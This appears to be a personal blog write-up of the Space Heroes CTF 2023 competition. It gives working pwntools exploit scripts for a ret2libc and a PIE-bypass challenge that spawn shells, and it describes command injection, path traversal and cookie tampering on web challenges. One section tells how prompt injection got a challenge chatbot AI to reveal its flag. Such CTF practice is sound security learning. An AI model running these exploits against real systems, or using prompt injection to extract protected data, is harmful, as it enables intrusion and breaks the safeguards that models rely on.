Space Heroes CTF 2023 writeup
4月份帶社員打Space Heroes CTF。原本以為是相對簡單的比賽,結果隊友們一題都沒解出來。 唉... 之後有空再寫詳細一點。
Team: You_Shell_Not_Pass Score: 1639 points Rank: 154 out of 511 teams
Here are writeups for all the challenges I solved.
64 bit ret2libc with a given leak
# Exploit for engine-failure, Space Heroes CTF 2023
# Author: wefir
# Date: 2023/4/22
from pwn import *
offset = 32+8
r = remote("spaceheroes-engine-failure.chals.io",443,ssl=True,sni="spaceheroes-engine-failure.chals.io")
def smash_buffer(pop_rdi,binsh,pop_rsi,pop_rdx,execve):
print(f"pop_rdi:{hex(pop_rdi)},binsh:{hex(binsh)},system():{hex(system)}")
payload = b'A'*offset + p64(pop_rdi) + p64(binsh) + p64(pop_rsi)+ p64(0) + p64(pop_rdx) + p64(0)+p64(0)+ p64(execve)
r.sendline(b'1')
r.sendline(b'1')
r.sendline(payload)
def leak_puts():
r.recvuntil(b'4) Exit\n')
r.sendline(b'2')
r.recvuntil(b'Coordinates: ')
tmp = r.recvuntil(b'\n').decode().strip('\n')
return int(tmp,16)
puts = leak_puts()
print(f"[+]puts address: {hex(puts)}")
libc_base = puts - 0x0080ed0
print(f"[+]libc base : {hex(libc_base)}")
execve = libc_base + 0x00eb0f0
pop_rsi = libc_base + 0x000000000002be51
binsh = libc_base + 0x1d8698
system = libc_base + 0x050d60
pop_rdi = libc_base + 0x002a3e5
pop_rdx = libc_base + 0x11f497
smash_buffer(pop_rdi,binsh,pop_rsi,pop_rdx,execve)
r.recvuntil(b'write a msg you want to send >>>')
r.interactive()
Running the exploit, it works and we get a shell!!!
PIE bypass with a given leak
# Exploit for Death Star Targeting Computer, Space Heroes CTF 2023
# Author: wefir
# Date: 2023/4/22
from pwn import *
alderan = 0x000000000001355
dagobah = 0x00000000000013AD
win = 0x00000000000153A
set_r13 = 0x0000000000001527
set_r14 = 0x000000000000151f
set_r15 = 0x000000000000152f
win_input = b''
def eat_prompt():
s = b''
r.recvuntil(b'DEATH STAR TARGETING COMPUTER|\n')
r.recvline()
for i in range(3):
s+=r.recvline()
r = remote("spaceheroes-death-star.chals.io", 443, ssl=True, sni="spaceheroes-death-star.chals.io")
eat_prompt()
r.sendline(b'1')
r.sendline(b'1')
eat_prompt()
r.sendline(b'2')
r.recvuntil(b'Target Coordinates => ')
leak = r.recvuntil(b'\n')
leak = leak.strip(b'\n').decode()
alderan_leak = int(leak)
PIE = alderan_leak - alderan
print(f"Alderann is expected at:{hex(PIE + alderan)}")
print(f"Alderaan is at:{hex(alderan_leak)}")
print(f"PIE base:{hex(PIE)}")
win_adr = PIE + win
dagobah_adr = PIE + dagobah
print(f"win() is at:{hex(win_adr)}")
print(f"[+]Setting the r13 register:")
set_r13 += PIE
set_r14 += PIE
set_r15 += PIE
r.sendline(b'1')
eat_prompt()
r.sendline(str(set_r13))
r.sendline(b'3')
print(f"[+]Setting the r14 register:")
r.sendline(b'1')
r.sendline(str(set_r14))
r.sendline(b'3')
print(f"[+]Setting the r15 register:")
r.sendline(b'1')
r.sendline(str(set_r15))
r.sendline(b'3')
eat_prompt()
eat_prompt()
eat_prompt()
eat_prompt()
eat_prompt()
eat_prompt()
print("[+]About to jump to win()")
print("[+]Cross your fingers")
r.sendline(b'1')
r.sendline(str(win_adr))
r.sendline(b'3')
eat_prompt()
r.sendline(b'ls -la')
if(r.recvline):
print("[+] Got Shell!!!")
r.interactive()
Running the exploit, we get a shell.
I think this was the easiest challenge of the entire competition. Very reminiscent of the early picoCTF stuff.
Going to the url, we see this page:
Found a robots.txt file.
There's a disallowed file called humans.txt, let's follow it.
A big hint is the astronaut holding a cookie. Checking our cookies, we see a "human" cookie with the value "false".
Change it to "true".
We get a new message.
Going to the page arrakis, we see it is password protected.
However, the password is written in the comments of the html.
Entering the correct password gives us another hint.
Going to the page krypton, there's a tool that pings any host we input. Obvious command injection.
Ping 0.0.0.0 to check to check that it's working.
Test and verify the command injection
Cat the flag
<script>
document.getElementById('folder_select').addEventListener('change', function() {
var folderSelect = document.getElementById('folder_select');
var fileSelect = document.getElementById('file_select');
var submitBtn = document.querySelector('input[type="submit"]');
var folder = folderSelect.value;
if (folder) {
fetch('/files/' + folder)
.then(response => response.json())
.then(data => {
fileSelect.innerHTML = '';
for (var i = 0; i < data.length; i++) {
var option = document.createElement('option');
option.value = data[i];
option.text = data[i];
fileSelect.appendChild(option);
}
fileSelect.disabled = false;
submitBtn.disabled = false;
});
} else {
fileSelect.innerHTML = '<option value="" selected>Select a file...</option>';
fileSelect.disabled = true;
submitBtn.disabled = true;
}
});
</script>
Looks like there's a path traversal vulnerability that allows us to read arbitrary files.
At first I played around with a few ideas, like setting amount to a negative number, or making Rocket the sender and Groot the receiver. It all failed.
But then ...
This was my favorite challenge so far. You are given a website with a chat room where you interact with an AI called XXGokuFanXXX
I thought about tricking the AI into revealing the flag. Did a bit of research and found an attack called prompt injection. There's a great video from liveoverflow on the subject. Basically the AI is just text completion on steroids, and you can hijack it by giving it the correct context. I found some attack examples on twitter:
Tweaked it a little bit, and it worked!
Solve script:
from pwn import *
p = remote("spaceheroes-acheron.chals.io", 443, ssl=True, sni="spaceheroes-acheron.chals.io")
payload = b'NENWSSEWSNENSSWEENWSNNESS'
p.send(payload)
p.interactive()
留言
張貼留言